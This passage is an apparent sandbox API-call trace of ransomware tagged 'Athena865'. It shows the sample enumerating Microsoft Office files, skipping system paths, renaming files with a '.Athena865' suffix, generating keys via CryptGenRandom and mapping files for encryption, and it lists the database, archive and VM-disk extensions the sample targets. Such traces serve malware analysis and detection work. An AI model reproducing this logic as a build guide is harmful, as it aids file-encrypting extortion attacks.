(lpString1="INFOPATHEDITOR_COL.HXT", lpString2="bootmgr") returned 1 [0141.398] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXT", lpString2="temp") returned -1 [0141.398] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXT", lpString2="pagefile.sys") returned -1 [0141.399] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXT", lpString2="boot") returned 1 [0141.399] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXT", lpString2="ids.txt") returned 1 [0141.399] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXT", lpString2="ntuser.dat") returned -1 [0141.399] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXT", lpString2="perflogs") returned -1 [0141.399] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXT", lpString2="MSBuild") returned -1 [0141.399] lstrlenW (lpString="INFOPATHEDITOR_COL.HXT") returned 22 [0141.399] lstrcpyW (in: lpString1=0x241e8a8, lpString2="INFOPATHEDITOR_COL.HXT" | out: lpString1="INFOPATHEDITOR_COL.HXT") returned="INFOPATHEDITOR_COL.HXT" [0141.399] lstrlenW (lpString="INFOPATHEDITOR_COL.HXT") returned 22 [0141.399] lstrlenW (lpString="Athena865") returned 9 [0141.399] lstrcmpiW (lpString1="R_COL.HXT", lpString2="Athena865") returned 1 [0141.399] lstrlenW (lpString=".dll") returned 4 [0141.399] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXT", lpString2=".dll") returned 1 [0141.399] lstrlenW (lpString=".lnk") returned 4 [0141.399] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXT", lpString2=".lnk") returned 1 [0141.399] lstrlenW (lpString=".ini") returned 4 [0141.399] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXT", lpString2=".ini") returned 1 [0141.399] lstrlenW (lpString=".sys") returned 4 [0141.399] lstrcmpiW (lpString1="INFOPATHEDITOR_COL.HXT", lpString2=".sys") returned 1 [0141.399] lstrlenW (lpString="INFOPATHEDITOR_COL.HXT") returned 22 [0141.399] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.Athena865") returned 80 [0141.399] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt.athena865"), dwFlags=0x1) returned 1 [0141.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.402] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=214) returned 1 [0141.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.402] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.403] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.403] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.403] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x17c [0141.405] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x100000 [0141.406] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.406] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.406] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.407] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.407] CloseHandle (hObject=0x17c) returned 1 [0141.407] CloseHandle (hObject=0x154) returned 1 [0141.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.408] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INFOPATHEDITOR_F_COL.HXK", cAlternateFileName="INFOPA~3.HXK")) returned 1 [0141.408] lstrcmpiW (lpString1="INFOPATHEDITOR_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.408] lstrcmpiW (lpString1="INFOPATHEDITOR_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.408] lstrcmpiW (lpString1="INFOPATHEDITOR_F_COL.HXK", lpString2=".") returned 1 [0141.408] lstrcmpiW (lpString1="INFOPATHEDITOR_F_COL.HXK", lpString2="..") returned 1 [0141.408] lstrcmpiW (lpString1="INFOPATHEDITOR_F_COL.HXK", lpString2="windows") returned -1 [0141.408] lstrcmpiW (lpString1="INFOPATHEDITOR_F_COL.HXK", lpString2="bootmgr") returned 1 [0141.408] lstrcmpiW (lpString1="INFOPATHEDITOR_F_COL.HXK", lpString2="temp") returned -1 [0141.408] lstrcmpiW (lpString1="INFOPATHEDITOR_F_COL.HXK", lpString2="pagefile.sys") returned -1 [0141.408] lstrcmpiW (lpString1="INFOPATHEDITOR_F_COL.HXK", lpString2="boot") returned 1 [0141.408] lstrcmpiW (lpString1="INFOPATHEDITOR_F_COL.HXK", lpString2="ids.txt") returned 1 [0141.408] lstrcmpiW (lpString1="INFOPATHEDITOR_F_COL.HXK", lpString2="ntuser.dat") returned -1 [0141.408] lstrcmpiW (lpString1="INFOPATHEDITOR_F_COL.HXK", lpString2="perflogs") returned -1 [0141.408] lstrcmpiW (lpString1="INFOPATHEDITOR_F_COL.HXK", lpString2="MSBuild") returned -1 [0141.408] lstrlenW (lpString="INFOPATHEDITOR_F_COL.HXK") returned 24 [0141.408] lstrcpyW (in: lpString1=0x241e8a8, lpString2="INFOPATHEDITOR_F_COL.HXK" | out: lpString1="INFOPATHEDITOR_F_COL.HXK") returned="INFOPATHEDITOR_F_COL.HXK" [0141.408] lstrlenW (lpString="INFOPATHEDITOR_F_COL.HXK") returned 24 [0141.408] lstrlenW (lpString="Athena865") returned 9 [0141.408] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0141.408] lstrlenW (lpString=".dll") returned 4 [0141.408] lstrcmpiW (lpString1="INFOPATHEDITOR_F_COL.HXK", lpString2=".dll") returned 1 [0141.408] lstrlenW (lpString=".lnk") returned 4 [0141.408] lstrcmpiW (lpString1="INFOPATHEDITOR_F_COL.HXK", lpString2=".lnk") returned 1 [0141.408] lstrlenW (lpString=".ini") returned 4 [0141.408] lstrcmpiW (lpString1="INFOPATHEDITOR_F_COL.HXK", lpString2=".ini") returned 1 [0141.409] lstrlenW (lpString=".sys") returned 4 [0141.409] lstrcmpiW (lpString1="INFOPATHEDITOR_F_COL.HXK", lpString2=".sys") returned 1 [0141.409] lstrlenW (lpString="INFOPATHEDITOR_F_COL.HXK") returned 24 [0141.409] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.Athena865") returned 82 [0141.409] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0141.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.410] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0141.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.411] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.411] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.411] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.412] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0141.414] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0141.414] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.415] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.415] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.416] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.416] CloseHandle (hObject=0x17c) returned 1 [0141.416] CloseHandle (hObject=0x154) returned 1 [0141.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.416] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INFOPATHEDITOR_K_COL.HXK", cAlternateFileName="INFOPA~4.HXK")) returned 1 [0141.416] lstrcmpiW (lpString1="INFOPATHEDITOR_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.416] lstrcmpiW (lpString1="INFOPATHEDITOR_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.416] lstrcmpiW (lpString1="INFOPATHEDITOR_K_COL.HXK", lpString2=".") returned 1 [0141.416] lstrcmpiW (lpString1="INFOPATHEDITOR_K_COL.HXK", lpString2="..") returned 1 [0141.417] lstrcmpiW (lpString1="INFOPATHEDITOR_K_COL.HXK", lpString2="windows") returned -1 [0141.417] lstrcmpiW (lpString1="INFOPATHEDITOR_K_COL.HXK", lpString2="bootmgr") returned 1 [0141.417] lstrcmpiW (lpString1="INFOPATHEDITOR_K_COL.HXK", lpString2="temp") returned -1 [0141.417] lstrcmpiW (lpString1="INFOPATHEDITOR_K_COL.HXK", lpString2="pagefile.sys") returned -1 [0141.417] lstrcmpiW (lpString1="INFOPATHEDITOR_K_COL.HXK", lpString2="boot") returned 1 [0141.417] lstrcmpiW (lpString1="INFOPATHEDITOR_K_COL.HXK", lpString2="ids.txt") returned 1 [0141.417] lstrcmpiW (lpString1="INFOPATHEDITOR_K_COL.HXK", lpString2="ntuser.dat") returned -1 [0141.417] lstrcmpiW (lpString1="INFOPATHEDITOR_K_COL.HXK", lpString2="perflogs") returned -1 [0141.417] lstrcmpiW (lpString1="INFOPATHEDITOR_K_COL.HXK", lpString2="MSBuild") returned -1 [0141.417] lstrlenW (lpString="INFOPATHEDITOR_K_COL.HXK") returned 24 [0141.417] lstrcpyW (in: lpString1=0x241e8a8, lpString2="INFOPATHEDITOR_K_COL.HXK" | out: lpString1="INFOPATHEDITOR_K_COL.HXK") returned="INFOPATHEDITOR_K_COL.HXK" [0141.417] lstrlenW (lpString="INFOPATHEDITOR_K_COL.HXK") returned 24 [0141.417] lstrlenW (lpString="Athena865") returned 9 [0141.417] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0141.417] lstrlenW (lpString=".dll") returned 4 [0141.417] lstrcmpiW (lpString1="INFOPATHEDITOR_K_COL.HXK", lpString2=".dll") returned 1 [0141.417] lstrlenW (lpString=".lnk") returned 4 [0141.417] lstrcmpiW (lpString1="INFOPATHEDITOR_K_COL.HXK", lpString2=".lnk") returned 1 [0141.417] lstrlenW (lpString=".ini") returned 4 [0141.417] lstrcmpiW (lpString1="INFOPATHEDITOR_K_COL.HXK", lpString2=".ini") returned 1 [0141.417] lstrlenW (lpString=".sys") returned 4 [0141.417] lstrcmpiW (lpString1="INFOPATHEDITOR_K_COL.HXK", lpString2=".sys") returned 1 [0141.417] lstrlenW (lpString="INFOPATHEDITOR_K_COL.HXK") returned 24 [0141.417] lstrlenW (lpString="bak") returned 3 [0141.417] lstrcmpiW (lpString1="HXK", lpString2="bak") returned 1 [0141.417] lstrlenW (lpString="ba_") returned 3 [0141.417] lstrcmpiW (lpString1="HXK", lpString2="ba_") returned 1 [0141.417] lstrlenW (lpString="dbb") returned 3 [0141.418] lstrcmpiW (lpString1="HXK", lpString2="dbb") returned 1 [0141.418] lstrlenW (lpString="vmdk") returned 4 [0141.418] lstrcmpiW (lpString1=".HXK", lpString2="vmdk") returned -1 [0141.418] lstrlenW (lpString="rar") returned 3 [0141.418] lstrcmpiW (lpString1="HXK", lpString2="rar") returned -1 [0141.418] lstrlenW (lpString="zip") returned 3 [0141.418] lstrcmpiW (lpString1="HXK", lpString2="zip") returned -1 [0141.418] lstrlenW (lpString="tgz") returned 3 [0141.418] lstrcmpiW (lpString1="HXK", lpString2="tgz") returned -1 [0141.418] lstrlenW (lpString="vbox") returned 4 [0141.418] lstrcmpiW (lpString1=".HXK", lpString2="vbox") returned -1 [0141.418] lstrlenW (lpString="vdi") returned 3 [0141.418] lstrcmpiW (lpString1="HXK", lpString2="vdi") returned -1 [0141.418] lstrlenW (lpString="vhd") returned 3 [0141.418] lstrcmpiW (lpString1="HXK", lpString2="vhd") returned -1 [0141.418] lstrlenW (lpString="vhdx") returned 4 [0141.418] lstrcmpiW (lpString1=".HXK", lpString2="vhdx") returned -1 [0141.418] lstrlenW (lpString="avhd") returned 4 [0141.418] lstrcmpiW (lpString1=".HXK", lpString2="avhd") returned -1 [0141.418] lstrlenW (lpString="db") returned 2 [0141.418] lstrcmpiW (lpString1="XK", lpString2="db") returned 1 [0141.418] lstrlenW (lpString="db2") returned 3 [0141.418] lstrcmpiW (lpString1="HXK", lpString2="db2") returned 1 [0141.418] lstrlenW (lpString="db3") returned 3 [0141.418] lstrcmpiW (lpString1="HXK", lpString2="db3") returned 1 [0141.418] lstrlenW (lpString="dbf") returned 3 [0141.418] lstrcmpiW (lpString1="HXK", lpString2="dbf") returned 1 [0141.418] lstrlenW (lpString="mdf") returned 3 [0141.418] lstrcmpiW (lpString1="HXK", lpString2="mdf") returned -1 [0141.418] lstrlenW (lpString="mdb") returned 3 [0141.419] lstrcmpiW (lpString1="HXK", lpString2="mdb") returned -1 [0141.419] lstrlenW (lpString="sql") returned 3 [0141.419] lstrcmpiW (lpString1="HXK", lpString2="sql") returned -1 [0141.419] lstrlenW (lpString="sqlite") returned 6 [0141.419] lstrcmpiW (lpString1="OL.HXK", lpString2="sqlite") returned -1 [0141.419] lstrlenW (lpString="sqlite3") returned 7 [0141.419] lstrcmpiW (lpString1="COL.HXK", lpString2="sqlite3") returned -1 [0141.419] lstrlenW (lpString="sqlitedb") returned 8 [0141.419] lstrcmpiW (lpString1="_COL.HXK", lpString2="sqlitedb") returned -1 [0141.419] lstrlenW (lpString="xml") returned 3 [0141.419] lstrcmpiW (lpString1="HXK", lpString2="xml") returned -1 [0141.419] lstrlenW (lpString="$er") returned 3 [0141.419] lstrcmpiW (lpString1="HXK", lpString2="$er") returned 1 [0141.419] lstrlenW (lpString="4dd") returned 3 [0141.419] lstrcmpiW (lpString1="HXK", lpString2="4dd") returned 1 [0141.419] lstrlenW (lpString="4dl") returned 3 [0141.419] lstrcmpiW (lpString1="HXK", lpString2="4dl") returned 1 [0141.419] lstrlenW (lpString="^^^") returned 3 [0141.419] lstrcmpiW (lpString1="HXK", lpString2="^^^") returned 1 [0141.419] lstrlenW (lpString="abs") returned 3 [0141.419] lstrcmpiW (lpString1="HXK", lpString2="abs") returned 1 [0141.419] lstrlenW (lpString="abx") returned 3 [0141.419] lstrcmpiW (lpString1="HXK", lpString2="abx") returned 1 [0141.419] lstrlenW (lpString="accdb") returned 5 [0141.419] lstrcmpiW (lpString1="L.HXK", lpString2="accdb") returned 1 [0141.419] lstrlenW (lpString="accdc") returned 5 [0141.419] lstrcmpiW (lpString1="L.HXK", lpString2="accdc") returned 1 [0141.419] lstrlenW (lpString="accde") returned 5 [0141.419] lstrcmpiW (lpString1="L.HXK", lpString2="accde") returned 1 [0141.420] lstrlenW (lpString="accdr") returned 5 [0141.420] lstrcmpiW (lpString1="L.HXK", lpString2="accdr") returned 1 [0141.420] lstrlenW (lpString="accdt") returned 5 [0141.420] lstrcmpiW (lpString1="L.HXK", lpString2="accdt") returned 1 [0141.420] lstrlenW (lpString="accdw") returned 5 [0141.420] lstrcmpiW (lpString1="L.HXK", lpString2="accdw") returned 1 [0141.420] lstrlenW (lpString="accft") returned 5 [0141.420] lstrcmpiW (lpString1="L.HXK", lpString2="accft") returned 1 [0141.420] lstrlenW (lpString="adb") returned 3 [0141.420] lstrcmpiW (lpString1="HXK", lpString2="adb") returned 1 [0141.420] lstrlenW (lpString="adb") returned 3 [0141.420] lstrcmpiW (lpString1="HXK", lpString2="adb") returned 1 [0141.420] lstrlenW (lpString="ade") returned 3 [0141.420] lstrcmpiW (lpString1="HXK", lpString2="ade") returned 1 [0141.420] lstrlenW (lpString="adf") returned 3 [0141.420] lstrcmpiW (lpString1="HXK", lpString2="adf") returned 1 [0141.420] lstrlenW (lpString="adn") returned 3 [0141.420] lstrcmpiW (lpString1="HXK", lpString2="adn") returned 1 [0141.420] lstrlenW (lpString="adp") returned 3 [0141.420] lstrcmpiW (lpString1="HXK", lpString2="adp") returned 1 [0141.420] lstrlenW (lpString="alf") returned 3 [0141.420] lstrcmpiW (lpString1="HXK", lpString2="alf") returned 1 [0141.420] lstrlenW (lpString="ask") returned 3 [0141.420] lstrcmpiW (lpString1="HXK", lpString2="ask") returned 1 [0141.420] lstrlenW (lpString="btr") returned 3 [0141.420] lstrcmpiW (lpString1="HXK", lpString2="btr") returned 1 [0141.420] lstrlenW (lpString="cat") returned 3 [0141.420] lstrcmpiW (lpString1="HXK", lpString2="cat") returned 1 [0141.420] lstrlenW (lpString="cdb") returned 3 [0141.420] lstrcmpiW (lpString1="HXK", lpString2="cdb") returned 1 [0141.421] lstrlenW (lpString="ckp") returned 3 [0141.421] lstrcmpiW (lpString1="HXK", lpString2="ckp") returned 1 [0141.421] lstrlenW (lpString="cma") returned 3 [0141.421] lstrcmpiW (lpString1="HXK", lpString2="cma") returned 1 [0141.421] lstrlenW (lpString="cpd") returned 3 [0141.421] lstrcmpiW (lpString1="HXK", lpString2="cpd") returned 1 [0141.421] lstrlenW (lpString="dacpac") returned 6 [0141.421] lstrcmpiW (lpString1="OL.HXK", lpString2="dacpac") returned 1 [0141.421] lstrlenW (lpString="dad") returned 3 [0141.421] lstrcmpiW (lpString1="HXK", lpString2="dad") returned 1 [0141.421] lstrlenW (lpString="dadiagrams") returned 10 [0141.421] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="dadiagrams") returned -1 [0141.421] lstrlenW (lpString="daschema") returned 8 [0141.421] lstrcmpiW (lpString1="_COL.HXK", lpString2="daschema") returned -1 [0141.421] lstrlenW (lpString="db-journal") returned 10 [0141.421] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="db-journal") returned -1 [0141.421] lstrlenW (lpString="db-shm") returned 6 [0141.421] lstrcmpiW (lpString1="OL.HXK", lpString2="db-shm") returned 1 [0141.421] lstrlenW (lpString="db-wal") returned 6 [0141.421] lstrcmpiW (lpString1="OL.HXK", lpString2="db-wal") returned 1 [0141.421] lstrlenW (lpString="dbc") returned 3 [0141.421] lstrcmpiW (lpString1="HXK", lpString2="dbc") returned 1 [0141.421] lstrlenW (lpString="dbs") returned 3 [0141.421] lstrcmpiW (lpString1="HXK", lpString2="dbs") returned 1 [0141.421] lstrlenW (lpString="dbt") returned 3 [0141.421] lstrcmpiW (lpString1="HXK", lpString2="dbt") returned 1 [0141.421] lstrlenW (lpString="dbv") returned 3 [0141.421] lstrcmpiW (lpString1="HXK", lpString2="dbv") returned 1 [0141.421] lstrlenW (lpString="dbx") returned 3 [0141.421] lstrcmpiW (lpString1="HXK", lpString2="dbx") returned 1 [0141.421] lstrlenW (lpString="dcb") returned 3 [0141.422] lstrcmpiW (lpString1="HXK", lpString2="dcb") returned 1 [0141.422] lstrlenW (lpString="dct") returned 3 [0141.422] lstrcmpiW (lpString1="HXK", lpString2="dct") returned 1 [0141.422] lstrlenW (lpString="dcx") returned 3 [0141.422] lstrcmpiW (lpString1="HXK", lpString2="dcx") returned 1 [0141.422] lstrlenW (lpString="ddl") returned 3 [0141.422] lstrcmpiW (lpString1="HXK", lpString2="ddl") returned 1 [0141.422] lstrlenW (lpString="dlis") returned 4 [0141.422] lstrcmpiW (lpString1=".HXK", lpString2="dlis") returned -1 [0141.422] lstrlenW (lpString="dp1") returned 3 [0141.422] lstrcmpiW (lpString1="HXK", lpString2="dp1") returned 1 [0141.422] lstrlenW (lpString="dqy") returned 3 [0141.422] lstrcmpiW (lpString1="HXK", lpString2="dqy") returned 1 [0141.422] lstrlenW (lpString="dsk") returned 3 [0141.422] lstrcmpiW (lpString1="HXK", lpString2="dsk") returned 1 [0141.422] lstrlenW (lpString="dsn") returned 3 [0141.422] lstrcmpiW (lpString1="HXK", lpString2="dsn") returned 1 [0141.422] lstrlenW (lpString="dtsx") returned 4 [0141.422] lstrcmpiW (lpString1=".HXK", lpString2="dtsx") returned -1 [0141.422] lstrlenW (lpString="dxl") returned 3 [0141.422] lstrcmpiW (lpString1="HXK", lpString2="dxl") returned 1 [0141.422] lstrlenW (lpString="eco") returned 3 [0141.422] lstrcmpiW (lpString1="HXK", lpString2="eco") returned 1 [0141.422] lstrlenW (lpString="ecx") returned 3 [0141.422] lstrcmpiW (lpString1="HXK", lpString2="ecx") returned 1 [0141.422] lstrlenW (lpString="edb") returned 3 [0141.422] lstrcmpiW (lpString1="HXK", lpString2="edb") returned 1 [0141.422] lstrlenW (lpString="epim") returned 4 [0141.422] lstrcmpiW (lpString1=".HXK", lpString2="epim") returned -1 [0141.423] lstrlenW (lpString="fcd") returned 3 [0141.423] lstrcmpiW (lpString1="HXK", lpString2="fcd") returned 1 [0141.423] lstrlenW (lpString="fdb") returned 3 [0141.423] lstrcmpiW (lpString1="HXK", lpString2="fdb") returned 1 [0141.423] lstrlenW (lpString="fic") returned 3 [0141.423] lstrcmpiW (lpString1="HXK", lpString2="fic") returned 1 [0141.423] lstrlenW (lpString="flexolibrary") returned 12 [0141.423] lstrcmpiW (lpString1="OR_K_COL.HXK", lpString2="flexolibrary") returned 1 [0141.423] lstrlenW (lpString="fm5") returned 3 [0141.423] lstrcmpiW (lpString1="HXK", lpString2="fm5") returned 1 [0141.423] lstrlenW (lpString="fmp") returned 3 [0141.423] lstrcmpiW (lpString1="HXK", lpString2="fmp") returned 1 [0141.423] lstrlenW (lpString="fmp12") returned 5 [0141.423] lstrcmpiW (lpString1="L.HXK", lpString2="fmp12") returned 1 [0141.423] lstrlenW (lpString="fmpsl") returned 5 [0141.423] lstrcmpiW (lpString1="L.HXK", lpString2="fmpsl") returned 1 [0141.423] lstrlenW (lpString="fol") returned 3 [0141.423] lstrcmpiW (lpString1="HXK", lpString2="fol") returned 1 [0141.423] lstrlenW (lpString="fp3") returned 3 [0141.423] lstrcmpiW (lpString1="HXK", lpString2="fp3") returned 1 [0141.423] lstrlenW (lpString="fp4") returned 3 [0141.423] lstrcmpiW (lpString1="HXK", lpString2="fp4") returned 1 [0141.423] lstrlenW (lpString="fp5") returned 3 [0141.423] lstrcmpiW (lpString1="HXK", lpString2="fp5") returned 1 [0141.423] lstrlenW (lpString="fp7") returned 3 [0141.423] lstrcmpiW (lpString1="HXK", lpString2="fp7") returned 1 [0141.423] lstrlenW (lpString="fpt") returned 3 [0141.423] lstrcmpiW (lpString1="HXK", lpString2="fpt") 